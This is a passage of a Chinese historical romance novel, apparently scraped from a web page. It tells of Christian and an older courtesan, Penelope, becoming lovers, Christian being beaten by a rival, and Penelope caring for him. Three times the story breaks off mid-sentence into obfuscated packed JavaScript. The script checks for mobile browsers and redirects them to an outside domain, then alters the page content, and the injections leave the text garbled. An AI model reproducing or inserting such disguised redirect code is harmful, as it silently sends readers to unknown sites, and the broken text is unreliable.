一到纸条上所写的时间，克里斯蒂安便准时出现在了佩内洛普的家门口，穿着晚礼服，捧着鲜花，非常优雅。 他一整天都在思考问题，思考自己、思考佩内洛普，思考他们的未来——如果他真的资格谈论未来的话。 他一度还决定取消他们的约定，他会找一个完美无缺的借口，但当他看到那言辞极其刻薄的文章时，强烈的愤怒阻止了他。 然后他发现，他是多么害怕佩内洛普会因此多想，甚至考虑再三后，决定不再与他联系。 她会狠狠推开他的，就像她曾经做过的那样。她很在乎她的年龄，很在乎她与他的差距，他好不容易才让她遗忘了这些，开始重新变得充满活力。 门打开了。 佩内洛普站在门口，穿着一袭深红色的礼服，勾勒出她优雅修长的身姿。她的长发盘起，露出修长的颈项，耳垂上坠着一对耀眼的红宝石耳环，与她的唇色相映成辉。 她依旧是社交场上的传奇，依旧美得令人窒息，但她的眼神中却透着一丝克里斯蒂安从未见过的冷静。 “你准时到了。”她轻声道，语气淡然得令人心慌。 克里斯蒂安有些不安，却还是扬起手中的花束，笑了笑，试图让气氛变得轻松：“我可不想让你等得太久。” 佩内洛普微微一笑，接过花，却没有立刻跟着他一起离开，而是轻轻地嗅了嗅花香，然后抬起头，看着他。 “克里斯蒂安，我们得谈谈。”她说。 他的心猛地一沉。 他猜对了。 她确实想推开他。 “不如到马车上再谈？”他故作轻松地建议，仿佛不在意她的语气。 佩内洛普却摇摇头，朝着屋内示意。 “进来吧。” 他走进屋内，心里七上八下。 她要如何说？是温柔地告诉他，他们不合适？还是直接让他离开？ 克里斯蒂安感到自己从未如此紧张。 佩内洛普替他倒了一杯酒，自己也倒了一杯，然后端起酒杯，轻轻晃动着杯中的液体。 “克里斯蒂安，我们该停下了。”她终于开口，声音温柔，却透着几分不容置疑的坚决。 克里斯蒂安的指尖微微一颤，他放下酒杯，语气里带着一丝克制的急切：“为什么？” “你明知道为什么。”她抬眼看着他，“大家在嘲笑你和我，尤其是我。” 她一想到当她真正被他抛弃之后，她会变成怎样的笑料，就得做噩梦。 “反正你也不是那么想要我，都是我强求的，我就差跪在你面前恳求你了。” “你为什么要这么想？”他皱起眉头。 这个女人根本不明白他每次靠近她都要经受多大的折磨才能克制自己。 “佩内洛普，我们在一起，别人嚼什么舌根根本不重要，而且，你明知道我对你的感情如何，我不想放弃你。” 她苦笑了一下，慢慢摇头。 “你还年轻，你不明白。” “我当然明白！”一提到他们的年龄差距，他的声音也提高了一些，眼底燃烧着一丝怒意。 “你又开始用年龄来衡量一切了？佩内洛普，你到底什么时候才真的相信，年龄从来不是我在乎的东西？” 佩内洛普深深地看着他，指尖轻轻摩挲着酒杯。她想说，她当然相信他，可她更相信时间的无情。 尤其，男人与女人还不一样。作为出卖色相为生的女人而言，她三十六岁了，已经太老了，而他呢？他的人生才刚刚开始。 她不能让他因自己而受困，不能让自己沉溺在一场无法长久的梦境里，不想变成社交界永远的笑柄。 “克里斯蒂安，你很快就会后悔的。”她轻声说道，“你会醒悟过来，你会想要年轻的女孩，像米娜那样的女孩，你会想要婚姻、家庭、孩子……” 你会把我留在原地，让我一个人在夜里一杯一杯喝着烈酒，泣不成声。 因为不想太过于显露自己的脆弱，这一句话，她没有说出口。 克里斯蒂安站起身，双手撑在桌上，黑眸紧紧锁住她的眼睛：“佩内洛普，你不该替我做决定。” 她的心狠狠一颤。 “你现在可以告诉我，你对我根本一点感觉也没有，我只是你一晚的消遣，只是一个你可以分享给你的圈子里其他人的笑话。”他的声音低沉而坚定，带着丝隐忍的痛楚，“只要你说出口，我就会离开，而且永远不会再回来，真的，我甚至可能会恨你。” 佩内洛普张了张口，却发现自己什么都说不出来。 她无法欺骗他，也无法欺骗自己。 屋内一片沉默，只有壁炉中的火焰微微跳动，映照着他们彼此纠缠的眼。 终于，克里斯蒂安后退一步，声音低沉而沙哑：“你说不出口，对吗？” 佩内洛普依旧沉默。 他望着她，眼底里闪过一丝复杂的光芒，随后，他缓缓露出一个笑容。 “那我就不会走。”他说，“绝不会。” 佩内洛普的心狠狠地揪紧了。 “克里斯蒂安……”她轻轻地唤着他的名字，心中百感交集。 克里斯蒂安上前一步，继续道：“我知道你真正在害怕的是什么。” 佩内洛普愣住了，她不可置信地抬头看着他，而她得到的答案令她自己都心惊。 “你害怕我会让你伤心，不是吗？” “不。”她倔强地摇摇头，试图站在上风，“我早就学会了不让自己伤心。” 这是撒谎，她实在太怕了，她这辈子被伤了太多次心，她承受不了了。 他向她倾斜，他所使用的古龙水的气味充满了她的感官，这让她想起了昨晚在他怀里入睡的情景。 他是个非常讲究干净的男人，他购买昂贵的古龙水从不用来掩盖那些令人实在不愉快的味道，就只是让它与他皮肤的味道一起，组合成了一种纯粹的男性气息…… “你不仅害怕我让你伤心，你还觉得你已失去了你的青春，你没吸引力了，可事实上年龄对你而言，就仅仅只是数字的增长而已。” “那又怎么样呢？数字终究是增长了，我已经三十六岁了，自然而然就无人问津了，可以准备退居乡村了。” 他看着她，犹豫了一会儿，终究提出了那个曾在他心中浮现过千万次的问题。 “你愿意让我来供养你吗？” 这句话让佩内洛普感到震惊又无奈。上帝啊，他最终还是这么做了，要求向她提供保护。 可她应该怎么拒绝呢？ 似乎是看出了她的意图，他没有等她回答，又道：“不许拒绝我，因为我是不会接受的。” 佩内洛普怔怔地望着克里斯蒂安，他的话语孩子气十足，可他的眼神却坚定如磐石，仿佛早已经料定她别无选择，而事实也确实如此。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437004|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她可以拒绝他，当然，但她知道，克里斯蒂安不是轻易退缩的人，他会一次次地回来，直到她妥协。而更残忍的事实是——她根本就不想拒绝。 她不想再推开他，不想再一次次地告诉自己，他们没有未来，即便那才是她应该做的。 她一看见他，就没有办法。 沉默在他们之间弥漫了太久，佩内洛普的指尖紧紧地攥住裙摆，良久，她轻轻地叹了口气，像是终于放弃了某种无谓的挣扎。 “好，我想我只能答应你了。”她的声音微微颤抖，但还是说了出来。 克里斯蒂安眸色微微一深，仿佛不敢相信自己听到的答案。他原本已经做好了与她继续僵持下去的准备，甚至做好了即便被拒绝，也绝不会放手的觉悟。 但是她竟然……答应了。 他的心脏猛地收紧，一种难以言喻的情绪涌上心头。他的佩内洛普，他最难以抗拒的女人，终于不再试图逃避他。 “你不会后悔这个决定的。”他低声说道。 佩内洛普没有回答，只是轻轻地垂下眼睫，仿佛害怕自己一旦再直视他的目光，就会彻底沦陷。 克里斯蒂安伸出手，轻轻地抚上她的脸颊。她的肌肤依旧如丝绸般光滑，而她眼中那抹迟疑与脆弱，更是让他的心一寸寸地柔软下来。 “你仍然在担忧是吗？”他轻声问道。 佩内洛普闭了闭眼，声音中，带着几分无奈的自嘲：“那很正常，你让我如何不担忧？我担忧自己会沉溺其中，我担忧你终有一天会醒悟过来，意识到这一切都是个错误。” “佩内洛普，你不是我的错误，正好相反，我这辈子还从未觉得自己这么正确过。我从第一眼看见你就想要你，我也知道，你注定会躺在我的床上，我从前没有意识到这点，纯粹是因为我是个彻头彻尾的白痴，又实在是缺乏这方面的经验。” 他的声音坚定无比，带着不容置疑的决绝。 佩内洛普怔怔地看着他，心脏仿佛被什么狠狠地撞击了一下。 “但你还太年轻……”她忍不住低喃。 “所以呢？”克里斯蒂安冷笑了一声，“年轻就意味着我没有理智不会独立思考？意味着我必须得去迎合世俗，佩内洛普，你真的认为我是那种人吗？” 佩内洛普张了张口，却无言以对。 她终于叹了口气，让自己轻轻靠进了克里斯蒂安的怀里，感受着他温暖的体温包围着自己。 “如果有一天你后悔了……”佩内洛普低声道，“请温和地对待我。” 克里斯蒂安轻笑一声，低头在她的发间落下了一个轻柔的吻。 “不会有那么一天的。” 他的声音温柔坚定，如同誓言一般，令佩内洛普不禁屏住了呼吸。在这一瞬间，她几乎真的觉得自己就是他这辈子唯一想要的女人，她也突然开始希望，他们之间不仅只有欲望，这令她有些不知所措。 这是一个鲁莽的想法，将来也必定令她心痛不已。她需要不断提醒自己，他们的关系只会持续到他对她的欲望彻底消失为止。 对于其他情人，她很容易接受这个事实。但是，对于克里斯蒂安，她确信她的心绝对不会毫发无损。 当他靠近她时，她的身体变热了，当他提出该护送她走出房子时，她毫不犹豫地挽起了他的胳膊。 算了算了，去他的未来。 就现在，她不想考虑这些有的没的。 27. Chapter 27 在接下来的日子里，克里斯蒂安几乎天天与佩内洛普形影不离，彼此的关系愈加亲密。然而，令他心中不安的是，他始终没有勇气去摘下她眼睛上的那层布，他无法面对她眼中愈发明显的情感，尤其是那种从未在任何人面前显露过的深切依赖和信任。 他知道自己给了她欢愉。自从她答应成为他的情妇后，他一次又一次地向她证明了自己的能力，证明了他能让她感到快乐。 他是那么努力地学习着如何爱她，如何让她在每一个细节中都感到满足。他已经熟悉了她每一寸肌肤，仿佛能通过每一次接触让她深深烙印在他的感官里。 这样当某一天她终于厌倦了他时，他至少还可以抱着对她的回忆过日子…… 想到这里，他发出一声自我厌恶的呻吟，仿佛在对自己的懦弱进行自我惩罚。他用最快的速度穿好衣服，再回到床上，轻轻为她取下蒙眼布，接着又温柔地清理她腿间的痕迹。 虽然他的动作温柔而谨慎，但他心中的那种无法摆脱的自卑和焦虑，却在这一刻愈加强烈。 然后，他听见她说：“我有没有说过，你是我得到过的最好的学生。” “这样的话我已经听了一千一万遍了。虽然我没有别的老师，但我知道，你也一定是有史以来最好的老师。” 她笑了，声音温暖而充满活力。 他一点也不愿意和她分开，也许他们真的永远都不会分开呢？ 他默默压下了脑海中那个威胁要造反的小声音，让自己不要想那么长远，未来的变数太多太多了。他太渺小，而她却光芒四射。 “你甚至是这个世界上最好的男人。”她低声说道，语气里带着一点疲倦，却又充满深情。 他苦涩道：“也许我没有那么好。” 她轻笑了一声，翻身靠近他，指尖沿着他的手臂缓缓下滑，带着些许挑逗的意味，却又无比温柔。 “你总是这样。”她低声道，“总是觉得自己不够好，你什么时候才能认清楚你就是非常好的事实呢？” 克里斯蒂安别开视线，望向了床幔的顶端，那里一片柔和的暗影，仿佛能将他吞噬。他想反驳，想告诉她，这些想法不过是她沉浸在激情中时的错觉，可是话到了嘴边，他却发现自己什么也说不出口。 他能说什么？说他根本不是一个她以为的那种伟岸的男子汉？说他从来不敢真正面对她的目光？说他怕她看到自己眼中的恐惧？还是说，他甚至都不敢去妄想自己能够真正拥有她？ “如果我所表现出来的一切都是伪装，你还会觉得我很好吗？” 佩内洛普思考了片刻，缓缓回答：“那就得看看，真实的你是什么样子了，可惜我还从未真正目睹。” 她的回答其实非常圆滑，还用她挑逗的眼神暗示了一些其他的克里斯蒂安不愿面对的东西。 好在她不打算去逼迫他什么，她继续道：“可我想，我应该清楚你是什么样的人，克里斯蒂安，别把我当孩子，我比你年长，也见过太多太多男人，我一直有自己的判断。” 说完，她安静地注视着他，然后缓缓地，将手掌覆盖在他的心口，感受着他急促却沉稳的心跳。 “你都在害怕什么？”她轻声问道。 克里斯蒂安一震，随即露出一抹带着苦涩的笑容：“你觉得呢？” 他害怕什么，她难道不是最清楚的？ 她沉默了片刻，指腹轻轻描摹着他的锁骨，带着一点思索的意味。 “你是怕我看见了你？无法接受你？”她的语气柔和，半开玩笑，却直击他的内心，“还是怕我能够接受你？” 他的呼吸顿时一滞。 这句话比任何一记拳头都要更有力，直接击中了他最深的恐惧。 不，不可能，在这个世界上就没有人可以接受他。哪怕是他的母亲，选择的都只是逃避。 他强行令自己笑了一下，道：“我只害怕我会太爱你，爱到无法呼吸。” 佩内洛普也笑了，不错的还击。 但克里斯蒂安说的是实话，他对她始终怀着一种宛如沉溺般的沉迷。每日每夜，他都在她的怀抱中寻找温暖，贪婪地想要汲取她的每一分爱意，那个模样，就如同一个濒死之人执着地抓着最后一根注定会失去的浮木。 他曾经以为自己已经足够冷漠，足够理智，足够清楚自己的位置。可是，她的一举一动，她的温柔，她的一句不经意的夸奖，甚至是她偶尔投来的一个笑容，都会让他的心脏失去防备地颤动。 他怎么能不害怕？ 他就是爱她，爱得如此绝望。 他闭上眼睛，试图将这些念头驱逐，努力让自己的声音保持冷静：“佩内洛普，我与人有约，我想我得走了。” 对，他得走了。 他从床上起来，背对着她，没注意到她也起来了。 当她拿起他的衣服为他穿上时，他被吓了一跳。 她温柔的动作抓住了他的心，他无法自控，转过身来便把她拉进怀里。即使隔着衣服和她的丝绸睡袍，他也能感觉到她的温暖钻进他的身体，他的灵魂。他强忍着血管里涌动的情感。他低下头，轻轻地吻了吻她，希望自己不用离开她。 “我知道你真正害怕着什么，克里斯蒂安。”她呢喃着，嘴唇贴在他的耳畔，“你害怕承认真实的你值得被爱，可你确实值得。” 他的身体突然僵住，那一刻，所有的防备都消失无踪，他显得如此脆弱。 佩内洛普没有再逼迫他，她只是温柔地抱住他，把头埋进了他的颈窝，轻轻地环住他的腰，如同在抱住一个易碎的珍宝。 克里斯蒂安的喉结轻轻滚动，却还是没有松开手。 哪怕他如此爱她，她也从未辜负他的信任，他仍然那么害怕，也仍然不敢去想未来。可是在这一刻，他终于愿意沉浸在这短暂的温柔里。 他们就这么过了许久，久到佩内洛普都开始担心他怎么了，他才终于再度开口，声音低哑，带着压抑的情绪：“为什么，要对我这么善良？” 佩内洛普愣了一下，随即轻笑起来：“真是个傻瓜，难道这还需要理由吗？我喜欢你，难道不是吗？” 他沉默，心中翻涌着复杂的情绪。 于是佩内洛普又道：“你有没有想过，如果你愿意，你可以成为你自己，而不必活在那些害怕之中？” 克里斯蒂安怔怔地看着她，很想对她说好，并倾诉关于他的所有的一切，但他犹豫过后，还是选择了放弃。 佩内洛普无奈一笑，蜷缩在了他温暖的怀抱中。 在她看来，他的怀抱其实并不算多么炽热，相较那些满是占有欲的男人，他的拥抱带着一丝犹豫，一种仿佛害怕自己力气过大会伤害到她的克制。 可她却一点也不介意，她甚至故意贴得更近，感受着他结实胸膛下那急促却沉稳的心跳。她轻轻地笑了笑，指尖顺着他的肩胛骨缓缓向下滑，带着一点随性的挑逗，却又满是温柔。 “你总是这样。”佩内洛普轻叹一声，像是在责备，又像是在安慰，“但没关系，时间还很长，我们可以慢慢来。” 克里斯蒂安没有说话，他只是低下了头，望着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444513|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双清澈得像能映照出他灵魂的眼睛。再一次，不安紧紧地攥住了他，纯粹的不安。然后，一种无以名状的焦虑在胸腔中翻涌。 他在想，她是不是误会了什么？是不是误以为他只是个怯懦的人？可是……她又怎么能够明白，他不仅是胆怯，而是清楚地知道自己正在步步沦陷？ 她是这个世界上最迷人的女人，没有之一，她聪慧、狡黠、优雅得像一朵开得正盛的玫瑰，她懂得如何挑起男人的情欲，又懂得该如何让他们无法自拔。 可是她偏偏对他说，她愿意相信他，愿意待在他身边，愿意对他说那些温柔的话语。 他应该如何相信这些不是她惯用的技巧，而是真正出自她的内心？如果她突发奇想，准备毁掉他，那实在是太容易了。 “佩内洛普。”他的声音沙哑而低沉，像在克制什么，“我究竟哪里吸引了你？” 佩内洛普微微一愣，随即笑了起来，带着一丝无奈，“你怎么今天总是在问这种傻问题呢？” “因为我不明白。”他直视她的双眼，声音里透着一丝脆弱，“你曾见过那么多真正出色的男人，经历过那么多事情……为什么会是我？” 佩内洛普沉默了一瞬，然后，她轻轻地抬手，指尖落在他的脸颊上，缓缓滑过他的轮廓。 “你是真的不明白吗？”她的声音比夜色还要柔和，带着一点叹息的缠绵，“看起来是真的。只要我不明明白白地夸你，你就把我的话当耳边风。” 克里斯蒂安猛地一怔。 佩内洛普看着他的反应，轻笑一声，随后缓缓靠近，额头抵住他的，低声道：“你是如此高大英俊，风度翩翩，我第一眼看见你时就被你吸引了，你忘记了吗？我当晚就做了个梦，你忘记了吗？我那时候可怎么也没想到，我的美梦竟然能成真，不，你甚至比我梦里还要表现得更好。” 她的语气带着一丝戏谑，却又透着真切的情感，让克里斯蒂安的心脏狠狠地颤了一下。 他想要后退，想要逃避，可是她的气息如此温暖，贴得如此近，他的理智已经开始渐渐崩溃。 “佩内洛普……”他几乎是喃喃低语着她的名字，声音带着不确定性，甚至还夹杂一点绝望的渴望。 佩内洛普望着他的眼睛，眼底闪烁着点点光芒，她微微一笑，语气温柔得仿佛要将他彻底融化：“你是一个非常出色的男人，各方面都是，相信我，你可以自然而然地吸引任何女人，根本不必感到疑惑。” 她的声音在夜色中如同催眠一般，让克里斯蒂安的心神彻底被她牵引。 她轻轻地抚上他的手，将他的手掌贴在自己的心口，那颗心脏正跳动着，热烈而真实。 克里斯蒂安的喉结滚动了一下，他感到心底的防线正一点一点地崩塌。 他可以拒绝她吗？ 他可以在她已经这样真诚地袒露自己想法的时候，仍旧躲在自己创造的保护壳里去假装一切都只是一场虚假的来自于老练交际花的游戏吗？ 他做不到。 他真的，做不到。 于是，他终于抬起手，缓缓地扣住了佩内洛普的后脑，轻轻地将她拉近，让她彻底贴近自己。 他闭上眼睛，在她的嘴唇上印下了一个无比温柔，却又无比深沉的吻。 佩内洛普轻轻笑了一声，仿佛终于得到了她想要的答案，便顺从地沉溺在这个吻里，任由他去探索，去接受，去真正地，拥有她。 这一刻，他不是她的学生，不是她的附庸，更不是她一时兴起的玩物。 他是她独一无二的年轻情人。 28. Chapter 28 克里斯蒂安已经有段时间懒得踏足俱乐部了。他更愿意将这些宝贵的时光都花在他亲爱的佩内洛普身上，哪怕只是静静地看着她，听她说话，或是在她入睡后细细描摹她的轮廓。相比之下，俱乐部里的喧嚣、纸醉金迷、无聊至极的闲谈都显得无趣而乏味。 然而，他终究不能彻底远离那些所谓的朋友们。一个绅士的社交义务终归是不能弃置的，尤其在这个讲究体面的圈子里，若是太久不露面，便会引来各种无端的揣测和闲言碎语。他绝不允许任何关于佩内洛普的流言蜚语沾染到她的名誉。因此，最终，他还是勉强抽了个空，回到了那个既熟悉又令人厌倦的地方，与朋友们共饮一杯小酒，履行应尽的义务。 俱乐部内的氛围一如既往。壁炉里燃着橘红色的火焰，烘暖着略显寒冷的空气；陈年的雪茄香和醇厚的威士忌味道交织成一种厚重的气息，弥漫在整个大厅。克里斯蒂安一手持杯，半倚在沙发上，听着朋友们闲聊赛马、股市，还有某位贵妇的风流韵事。他偶尔插上一句应景的话，表面从容，内心却始终游离。他的思绪不受控制地飞向了远方——飞向了佩内洛普。 她现在在做什么？是否会因为自己短暂的离开而感到一丝不安？想到她那双温柔又倔强的眼睛，他的心便软得一塌糊涂，俱乐部里的喧闹声也变得更加刺耳无趣。 直到手中的酒杯终于见底，他才决心不再浪费时间。 他从容地站起身，礼貌地向众人点头告别。朋友们见惯了他的疏离，只能无奈地耸耸肩，心里暗暗叹息：谁让克里斯蒂安彻底栽在了那个女人手里了呢？ 夜幕低垂，湿润的寒气扑面而来。昏黄的街灯下，远处有马车缓缓驶过，车轮碾过石板路，发出清脆而孤寂的声响。克里斯蒂安扣紧大衣的衣领，沿着台阶走下，却没看到自己的马车夫。 ——这家伙，又跑到哪儿鬼混去了？ 他只能无奈地去找人，并心想再有下次，他必须将车夫解雇，换一个更有责任感的人选。 要不，他干脆拦下一辆路过的出租马车？又或者，直接步行回去？反正路程也不是太远。 他正犹豫间，警觉地察觉到一股危险的气息扑面而来。 还未来得及做出更多反应，一根沉重的木棍便从黑暗中猛地砸向了他的后脑。他本能地侧身闪避，然而还是迟了一步——那一下砸得结结实实，力道之猛令他向前踉跄，直接重重地撞在冰冷坚硬的石墙上。 剧烈的疼痛炸裂般蔓延开来，耳边只剩下嗡嗡作响的杂音，口腔里迅速弥漫起铁锈般浓烈的血腥味。 “该死！”他花了好几秒才恢复意识，并转过身抬起了头，映入眼帘的是两张十分狰狞的脸。 乔治·圣-约翰带着个显然是地痞流氓的家伙站在他面前，眼神阴冷至极，怒火在那双令人厌恶的黑色眼眸里熊熊燃烧。 克里斯蒂安猜到他大概是知道了一些什么，嘴角微微扬起，露出一个讽刺的笑：“看来你今晚的心情不太好了，圣-约翰，但你也就只有这点指使别人偷袭的本事了。” 回答他的，是一记重拳，直接狠狠砸向他的腹部。 剧烈的冲击力让克里斯蒂安不禁弯下了腰，胃里翻江倒海，他忍不住闷哼出声，手指死死扣住冰冷的石墙，以防自己彻底倒下去。 圣-约翰道：“你居然让多蒂结婚了？在这个世界上除了我居然还能有人要她？她去哪里了？你必须告诉我。” 一想到这家伙与多萝西的事情，克里斯蒂安的指尖猛地一紧，心中某个隐秘的角落被狠狠刺痛。但他只是缓缓直起身，呼吸还有些急促，却依旧故作从容地整理了一下被扯皱的衣领，淡淡道：“我为什么要将多萝西的动向告诉你？你和她有什么关系？” “当然有关系！她是我的，她竟敢背着我嫁给那个男人！”圣-约翰怒吼着，猛地揪住克里斯蒂安的衣领，将他再次狠狠地抵在墙上。 “是不是你给她找的人？都愿意吃我的剩饭了，想必也不是什么好东西吧，我当年还以为你真对她好呢，结果你先是利用她，之后一遇见佩内洛普那个老太婆，就把她随便打发了？” 圣-约翰一提到佩内洛普，克里斯蒂安的怒火也愈发沸腾起来，他盯着眼前的男人，想要还击，却伤得太重，无能为力，只能用虚弱的声音冷冷道：“闭嘴，你差点把她害死！你忘了吗？你有什么立场对此感到愤怒？” “她是我的！她这辈子都是我的！”圣-约翰低吼，眼中闪烁着几乎是偏执的光，“你以为我为什么花了那么多时间讨她的欢心？甚至她一定要我娶她都行，她不能嫁给别人！现在我的父亲也死了，没有人会阻止我娶她了。卑贱如她，可以进我的家谱，她究竟是有什么不满足的？” 克里斯蒂安的眼神沉了下去，嘴角的冷笑愈发讽刺。 “你以为你在做什么？”他痛苦地喘着气，低声道，“你引诱她，你骗她以为你是认真的，却从未真正想过娶她，最多就是后面实在没办法了，才盘算着捏着鼻子认了，而现在，你竟然还在这里恼羞成怒？” 圣-约翰的瞳孔骤然收缩，眼中暴怒达到顶点。他抬起手，一拳狠狠挥下，直接打在克里斯蒂安的颧骨。克里斯蒂安闷哼一声，整个侧脸都被打偏过去，血从他的嘴角滑落，他的身体摇晃了一下，最终还是稳住了。 他慢慢抬起眼，目光森然，透着不屑和冰冷的愤怒。 “我不会让你知道多萝西在哪里的，你胆敢再碰她一下。”他声音虚弱，却带着隐隐的威胁，“我会让你后悔的。” 圣-约翰盯着他，冷哼一声，道：“那你现在就得后悔。” 圣-约翰的冷哼未落，他带来的打手的拳头已再度挥下，这一次直接砸向了克里斯蒂安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448141|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肋骨。他猝不及防地被打得整个人都歪向一旁，剧痛瞬间从肋下蔓延开来，仿佛骨头都要碎裂一般。 他咬紧牙关，不让自己发出痛苦的呻吟，可呼吸间的刺痛却暴露了伤势的严重性。 圣-约翰眯起眼，嘴角露出一抹残忍的弧度。他给带来的人投去一个眼色，对方迅速又抬起了脚，狠狠地踢向了克里斯蒂安的小腿。克里斯蒂安再也撑不住，整个人狼狈地跪倒在潮湿的石板路上，膝盖与地面碰撞时发出沉闷的响声，疼痛贯穿全身。 “你以为你能藏住她多久呢？”圣-约翰俯视着他，“她总是爱我的，她总会回到我身边。” 克里斯蒂安艰难地抬头，嘴角溢出的鲜血映着街灯的微光，他冷笑一声，眼中满是不屑：“别这么自作多情了，我会让你去坐牢的，我一定会的，而她甚至都不屑于去监狱看你一眼。” 这句话彻底点燃了圣-约翰的怒火。 他低吼着抓起克里斯蒂安的衣领，抡起拳头，一下又一下地挥下，每一拳都重得令人心悸。克里斯蒂安的意识逐渐模糊，他的眼前一片血色，耳边嗡嗡作响，疼痛已经到了极限，几乎要让他失去知觉。 不知究竟过了多久，圣-约翰终于停了手，甩开克里斯蒂安的衣领，任由他无力地倒在冰冷的石板路上。他低头睨了他一眼，似乎还不解气，抬脚狠狠踹了一下他的肋骨。 “你不是很能打吗？嗯？还整天想要威胁我，原来，也不过如此嘛。”他说。 “你会付出代价的，朗斯通，你就等着吧，我会毁掉你，我一定会。” 说完，他带着人转身离去，身影没入了黑暗之中，只留下克里斯蒂安孤零零地倒在潮湿的街道上，血液顺着他的脸颊滴落，在地面上缓缓地流淌。 夜色深沉，街道上一片寂静，偶尔有马车驶过，但没有人注意到这条小巷里的狼藉。时间一分一秒地过去，克里斯蒂安的意识逐渐飘忽，他不知道自己究竟还能撑多久，寒意浸透了他的骨髓，疼痛则在神经末梢肆虐，每一次呼吸都像是被利刃割裂。 正当他即将彻底失去意识时，一阵急促的脚步声响起。 “上帝啊！”一个十分熟悉的声音惊叫出声，随即一双手小心翼翼地扶住了他，“朗斯通？你能听见我吗？” 他努力想睁开眼，看清来人，可眼皮沉重得如同灌了铅，意识早已摇摇欲坠。片刻后，他终于勉强从喉咙里挤出一个含糊不清的声音：“哈特利……” 来人正是他的好友杰瑞米·哈特利，他显然已经被克里斯蒂安此刻的模样吓坏了。他的手在克里斯蒂安身上摸索了一番，似乎在确认伤势，随后猛地倒吸了一口凉气：“见鬼！真是见鬼！你是被谁打成这样了？” 克里斯蒂安没能回答，在他的意识彻底陷入黑暗中前，他的口中只模模糊糊地说出了一个名字：“佩内洛普……” 29. Chapter 29 等克里斯蒂安再度醒来时，首先映入眼帘的是一盏昏黄而温暖的烛光。房间里弥漫着淡淡的玫瑰香气，壁炉中木柴燃烧的噼啪声在夜色中低语着安宁。他躺在一张柔软的床上，身上盖着厚实温暖的毛毯，每一寸空气都仿佛在安抚他伤痕累累的身躯。 他缓慢地眨了眨眼，喉咙干涩得仿佛要裂开。片刻后，他终于意识到自己身处何处——这是佩内洛普的家，他曾无数次拜访过的地方，如今却带着某种沉甸甸的陌生感压得他几乎喘不过气。 一阵窸窣的衣料声悄然响起，紧接着，一只温暖而柔软的手轻轻握住了他的手。 “克里斯蒂安？”佩内洛普的声音带着压抑的焦急与心疼，她俯身看着他，眼眶微微泛红，仿佛一不小心泪水就会溢出，“你终于醒了。” 尽管浑身剧痛、伤势严重，此时此刻克里斯蒂安的第一反应仍然是她看起来还是那么美丽，就像他记忆中每一个寂寞夜晚里浮现的梦境。 他原本都以为自己再也见不到她了…… 他费力地扯了扯嘴角，声音沙哑而虚弱：“别哭……我还活着呢，放心。” 佩内洛普狠狠地瞪他一眼，眼中却还是闪烁着泪光，她握紧他的手，道：“你吓坏我了。” 他想要安慰她，可身体的疼痛让他连动一动都成了奢望。他只能轻轻叹了口气，目光温柔地看着她，仿佛这样就能让她安心一些。 “别担心，我还撑得住。”他低声道，“只要你在，我就撑得住。” 佩内洛普的眼泪终于落了下来，但她什么也没说，只是低头吻了吻他的手背，又紧紧握住，仿佛要用自己的温度驱散他身上的寒意。 这时，克里斯蒂安才终于有功夫注意自己的情况。 很快，他就意识到，他的衣服全被换掉了。 这意味着，在他昏迷不醒的时候，他曾在某个人面前赤身裸体。 一种缓慢而令人作呕的恐惧感席卷了他。 所以，现在除了他自己，还有其他人知道他其实是个残次品了？是她吗？上帝，唯独不要是她！ 想到这，他的喉咙里涌起一阵苦涩。 显而易见，他们的关系将要结束了。 “你怎么了？”她意识到了他的情绪，开口问道。 但很快，她就反应了过来。 即便恐惧又不安，克里斯蒂安仍是开口问：“是谁？” 佩内洛普道：“是我，我脱光了你的衣服，因为你伤得太重了，需要检查，我太害怕了，你可能会死。” “是你？”克里斯蒂安伤心地开口。 佩内洛普点点头：“也只有我，我知道你介意，我没有让其他任何人发现。” 该死！该死！该死！ 他的脑海里只有这个词。如果她告诉其他人，他将立刻变成整个社交界的笑柄，当然，有些善良的人可能会怜悯他，可他甚至更厌恶怜悯！ 比如她势必在怜悯他，她现在说话的口气就非常怜悯！ “佩内洛普女爵，我想我得回家了。”他冷冷道。 “你还不能活动，我也认为你在这里可以得到更好的照顾。”佩内洛普道。 “我说了，我要回家，立刻回家，佩内洛普女爵。”他咬牙切齿道。 “别傻了，你是希望自己残废吗？”她的声音带着几分怒气。 “我会自己判断这些。”说完他索性想要爬起来，但失败了。 于是佩内洛普道：“好，只要你能爬出我的卧室，我就让你回家！” 说完，她就转过了头去，从抹眼泪的动作来看，她又哭了。 天呐，他一点也不想让她哭啊。 “别管我的死活了，佩内洛普。”他低声嘶哑地道，仿佛每个字都是从喉咙里硬生生挤出来的。 